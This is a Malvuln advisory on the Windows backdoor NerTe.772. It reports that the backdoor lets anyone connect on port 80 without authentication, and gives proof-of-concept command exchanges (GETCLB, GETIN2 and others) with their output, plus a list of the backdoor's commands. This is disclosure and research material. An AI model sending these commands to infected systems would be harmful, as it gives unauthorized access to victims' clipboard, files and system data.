Backdoor.Win32.NerTe.772 / Unauthenticated Remote Command Execution

2021.05.30
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/464d7073f884b586b17950eef2908a6e_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NerTe.772 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc. Type: PE32 MD5: 464d7073f884b586b17950eef2908a6e Vuln ID: MVID-2021-0229 Dropped files: scanregs.exe Disclosure: 05/28/2021 Exploit/PoC: 1) Get Clipboard data. GETCLBñEmpty╢GETCLB GETCLB*************** Clipboard **************ñI dont like uñ*************** End **************╢ 2) Get Sounds MSGUnknown command╢GETSND GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢ 3) Get Installed Software MSGUnknown command╢GETIN2 GETIN2DESKTOP-2C3IQHOñVictimñAT/AT COMPATIBLEñINTEL - 6040000ñ04/13/18ññ10:36:15 PMñ1 Hour, 15 Minutes, 19 Seconds.ñ0ñ0ñ0ñ2 792.64ñUnknown╢GETIN32146947072ñ951943168ñ-1476931584ñ1274384384ñ2147352576ñ1985863680ñ55ñ65,536ñ10000 - 7FFEFFFFñ4,096ñññ╢ GETIN4NTFSñc:\ñA2C9-AD2Fñ85405782016ñ12998012928ñ512ñ8ñ20,851,021ñ3,173,343ñFixedñCDñC: []ñD: []╢GETIN6HxD Hex Editor version 1.7.7.0 ñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual etc... 4) Get System Info GETDAT2021ñ5ñ27ñ23ñ53ñ23╢GETRST RSTR09 ñ0ññ0ññ0ñññ0ññ0ññ1ñhttp://go.microsoft.com/fwlink/?LinkId=54896ñ0ññ0ñ0ñ0ññññ0ñ0ñ1ñC:\Users\Victim\Favoritesñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0╢RSTR01 ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ1╢RSTR02 ñ0ñ0ñ0ñc:\ñ0ñ0ñ0ñ-1ñ0ñ0ñnoñnoñ4ñ4ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0╢RSTR06 ñ-1ñ0ñ1ñ0ñ0ñ0ñ0ñ0ñnoñ0ñ%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programsñ0ñ0ñ@tzres.dll,-112ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñnoñnoñnoñ0ñ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menuñ0ñ0ñ0ñ1ñ%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu╢RSTR04 ñ0ñ0ñnoñ0ñ1ñ0ñ0ñ0ñnoñnoñnoñnoñ0ñnoñ0ñ0ñ0ñPMñ0ñ0ñ0ñ0ñ%USERPROFILE%\Desktopñ0ñ0ñ0╢RSTR03 ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñ0ñApplicationñApplication ExtensionñMS-DOS ApplicationñWindows Batch Fileñ0ñnoñ0ñ0ñnoñ0 etc... Commands List: 0xa3690: GETSND 0xa3d1c: GETCLB 0xa3d2c: GETCLB 0xa79e8: GETSCR 0xca0f4: GETIN2 0xca138: GETIN3 0xca168: GETIN4 0xca178: GETIN6 0xca1c4: GETIN7 0xca1d4: GETIN8 0xca1e4: GETIN9 0xca218: GETI10 0xd3ced: GETSND 0xd3dfd: GETDRV 0xd3e0c: GETDRV 0xd3e2d: GETCOL 0xd3e3c: GETCOL 0xd3e55: GETWND 0xd3e64: GETWND 0xd3f0d: GETMP3 0xd3f25: GETIN5 0xd3f34: GETIN5 0xd406d: GETINF 0xd40cd: GETIN2 0xd45cd: GETCLB 0xd4609: GETRST 0xd47d5: GETSCR 0xd4a35: GETDAT 0xd4a44: GETDAT 0xd4c65: GETREG 0xd4c74: GETREG 0xd4c7d: GETRE2 0xd4c8c: GETRE2 0xa12b0: SETUPI 0xd3cc5: SETSND 0xd4005: SETSCT 0xd4741: SETUPI 0xd47a9: SETUP 0xd4c95: SETCLR Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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